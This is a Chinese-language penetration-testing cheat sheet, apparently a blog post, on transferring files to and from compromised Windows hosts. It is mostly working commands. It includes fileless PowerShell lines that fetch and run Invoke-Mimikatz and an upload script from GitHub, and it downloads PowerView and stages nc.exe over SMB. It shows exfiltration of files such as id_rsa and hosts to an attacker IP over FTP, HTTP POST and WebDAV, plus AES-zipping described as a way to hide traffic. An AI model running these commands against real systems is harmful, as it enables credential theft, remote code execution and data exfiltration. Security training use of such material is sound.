很多情况下,我们渗透测试都面临需要上传和下载文件的文件传输需求。本文专门探讨Windows服务器或主机上实施文件传输的各种方案。该专题比较敏感,该文章仅供学习使用,不要用于非法用途。
编码方法
Linux检查文件MD5
md5sum id_rsa
Linux编码Base64
cat id_rsa |base64 -w 0;echo
Linux 解码Base64
echo IyBDb3B5cmlnaHQgKGMpIDE5OTMtMjAwOSBNaWNyb3NvZnQgQ29ycC4NCiMNCiMgVGhpcyBpcyBhIHNhbXBsZSBIT1NUUyBmaWxlIHVzZWQgYnkgTWljcm9zb2Z0IFRDUC9JUCBmb3IgV2luZG93cy4NCiMNCiMgVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBtYXBwaW5ncyBvZiBJUCBhZGRyZXNzZXMgdG8gaG9zdCBuYW1lcy4gRWFjaA0KIyBlbnRyeSBzaG91bGQgYmUga2VwdCBvbiBhbiBpbmRpdmlkdWFsIGxpbmUuIFRoZSBJUCBhZGRyZXNzIHNob3VsZA0KIyBiZSBwbGFjZWQgaW4gdGhlIGZpcnN0IGNvbHVtbiBmb2xsb3dlZCBieSB0aGUgY29ycmVzcG9uZGluZyBob3N0IG5hbWUuDQojIFRoZSBJUCBhZGRyZXNzIGFuZCB0aGUgaG9zdCBuYW1lIHNob3VsZCBiZSBzZXBhcmF0ZWQgYnkgYXQgbGVhc3Qgb25lDQojIHNwYWNlLg0KIw0KIyBBZGRpdGlvbmFsbHksIGNvbW1lbnRzIChzdWNoIGFzIHRoZXNlKSBtYXkgYmUgaW5zZXJ0ZWQgb24gaW5kaXZpZHVhbA0KIyBsaW5lcyBvciBmb2xsb3dpbmcgdGhlIG1hY2hpbmUgbmFtZSBkZW5vdGVkIGJ5IGEgJyMnIHN5bWJvbC4NCiMNCiMgRm9yIGV4YW1wbGU6DQojDQojICAgICAgMTAyLjU0Ljk0Ljk3ICAgICByaGluby5hY21lLmNvbSAgICAgICAgICAjIHNvdXJjZSBzZXJ2ZXINCiMgICAgICAgMzguMjUuNjMuMTAgICAgIHguYWNtZS5jb20gICAgICAgICAgICAgICMgeCBjbGllbnQgaG9zdA0KDQojIGxvY2FsaG9zdCBuYW1lIHJlc29sdXRpb24gaXMgaGFuZGxlZCB3aXRoaW4gRE5TIGl0c2VsZi4NCiMJMTI3LjAuMC4xICAgICAgIGxvY2FsaG9zdA0KIwk6OjEgICAgICAgICAgICAgbG9jYWxob3N0DQo= | base64 -d > hosts
Windows检查文件MD5
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5
Powershell MD5
PS C:\htb> Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash
Powershell Base64 编码
PS C:\htb> [Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))
Windows Powershell解码Base64
值得注意的是,cmd.exe的最大字符串长度是8191字符,过大的编码文件,会导致失败。
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("<base64字符串位置>"))
Powershell下载文件函数集合
DownloadFile 下载文件
需要URL和输出文件名称。结果是下载了文件到把目标系统
PS C:\htb> # Example: (New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')PS C:\htb> # Example: (New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
PS C:\htb> (New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1', 'C:\Users\Public\Downloads\PowerViewAsync.ps1')
DownloadString 无文件方法
该方法是直接在网络上获取文件字符串到内存,然后采用IEX对内容内容进行执行。
PS C:\htb> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')PS C:\htb> (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1') | IEX
Invoke-WebRequest 文件下载方法
该方法就是下载没太大差别,速度稍微慢一点。
PS C:\htb> Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
HarmJ0y Powershell 方法库
HarmJ0y作者为我们提供了PS下载文件的方法集合。
https://gist.github.com/HarmJ0y/bb48307ffa663256e239
规避Powershell下载的常见错误
使用 -UseBasicParsing
. 即可绕过这个问题。
PS C:\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 | IEXInvoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available, or Internet Explorer's first-launch configuration is not complete. Specify the UseBasicParsing parameter and try again.
At line:1 char:1
+ Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/P ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotImplemented: (:) [Invoke-WebRequest], NotSupportedException
+ FullyQualifiedErrorId : WebCmdletIEDomNotSupportedException,Microsoft.PowerShell.Commands.InvokeWebRequestCommandPS C:\htb> Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX
搭建SMB服务器
无密码搭建
sudo impacket-smbserver share -smb2support /tmp/smbshare
有密码搭建
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
SMB协议上传/下载文件的
无密码下载
C:\htb> copy \\192.168.220.133\share\nc.exe
有密码下载
C:\htb> net use n: \\192.168.220.133\share /user:test test
搭建FTP服务器
sudo pip3 install pyftpdlib
python3 -m pyftpdlib --port 21
python3 -m pyftpdlib --port 21 --write
Powershell FTP上传文件
PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')
Powershell FTP 下载文件
当我们拿到Powershell的时候,我们可以直接在ftp下载内容。
PS C:\htb> (New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')
Cmd FTP 下载文件
C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo GET file.txt >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128
Log in with USER and PASS first.
ftp> USER anonymousftp> GET file.txt
ftp> byeC:\htb>more file.txt
This is a test file
Cmd FTP上传文件
C:\htb> echo open 192.168.49.128 > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open 192.168.49.128Log in with USER and PASS first.ftp> USER anonymous
ftp> PUT c:\windows\system32\drivers\etc\hosts
ftp> bye
Python http文件服务器
该方法的原理是通过uploadserver 搭建了一个又upload方法的服务器,但是经过瘾小生的实验发现,该方法没有对upload接口做任何认证等内容,所以这意味着他人上马的风险,请谨慎使用。
pip3 install uploadserver
python3 -m uploadserver
Powershell HTTP上传
该上传方法允许我们自定义一些PS来完成上传操作。
下面的
PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
PS C:\htb> Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
NC 搭建HTTP监听器
NC方法,该方法简单有效,但仅适用于小文件的接受,因为他是直接显示报文的方案,建议获取什么关键字符串可以使用该方法。
nc -lvp 8000
Powershell Base64 HTTP上传
可以结合nc一同完成,消息的接受。
PS C:\htb> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS C:\htb> Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64
搭建WebDav服务器
简单点理解就是一个搭载在HTTP服务器上的SMB服务,这有助于降低风险。
sudo pip3 install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=<Path> --auth=anonymous
连接WebDav服务器
WebDav服务器就像SMB一样。SMB操作指南可以看瘾小生的其他文章。渗透测试--危险协议集合-CSDN博客
net use \\192.168.138.131\DavWWWRoot
dir \\192.168.49.128\DavWWWRoot
WebDav服务器的上传/下载
上传/下载只要位置调换即可。文件从左到右
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
7z 加密传输流量
很显然传输文件时,很有可能需要我们隐蔽自己的流量。而Windows主机一般是可以完成隐蔽流量的任务。
查找7z文件位置
where /R c:\ 7z.exe
使用7z完成加密
param([Parameter(Mandatory=$true)][string]$SevenZipPath, # 7z.exe 文件路径[Parameter(Mandatory=$true)][string]$SourcePath, # 需要压缩的文件或文件夹路径[Parameter(Mandatory=$true)][string]$DestinationPath,# 压缩文件输出路径[Parameter(Mandatory=$true)][string]$Password # 压缩密码
)# 检查 7z.exe 是否存在
if (-Not (Test-Path $SevenZipPath)) {Write-Host "7z.exe 文件未找到,确认路径正确"exit 1
}# 检查源文件或文件夹是否存在
if (-Not (Test-Path $SourcePath)) {Write-Host "指定的源文件或文件夹未找到:$SourcePath"exit 1
}# 检查目标路径是否已经存在文件
if (Test-Path $DestinationPath) {Write-Host "目标文件已经存在,将覆盖文件:$DestinationPath"
}# 设置命令行参数
$arguments = "a", # 'a' 表示添加文件$DestinationPath, # 压缩文件的输出路径"-p$Password", # 设置密码"-mem=AES256", # 设置 AES256 加密算法$SourcePath # 源文件或文件夹路径# 调用 7z.exe 进行压缩
try {Write-Host "正在压缩文件..."& $SevenZipPath $argumentsWrite-Host "文件已成功压缩并加密到:$DestinationPath"
} catch {Write-Host "压缩过程失败:$($_.Exception.Message)"
}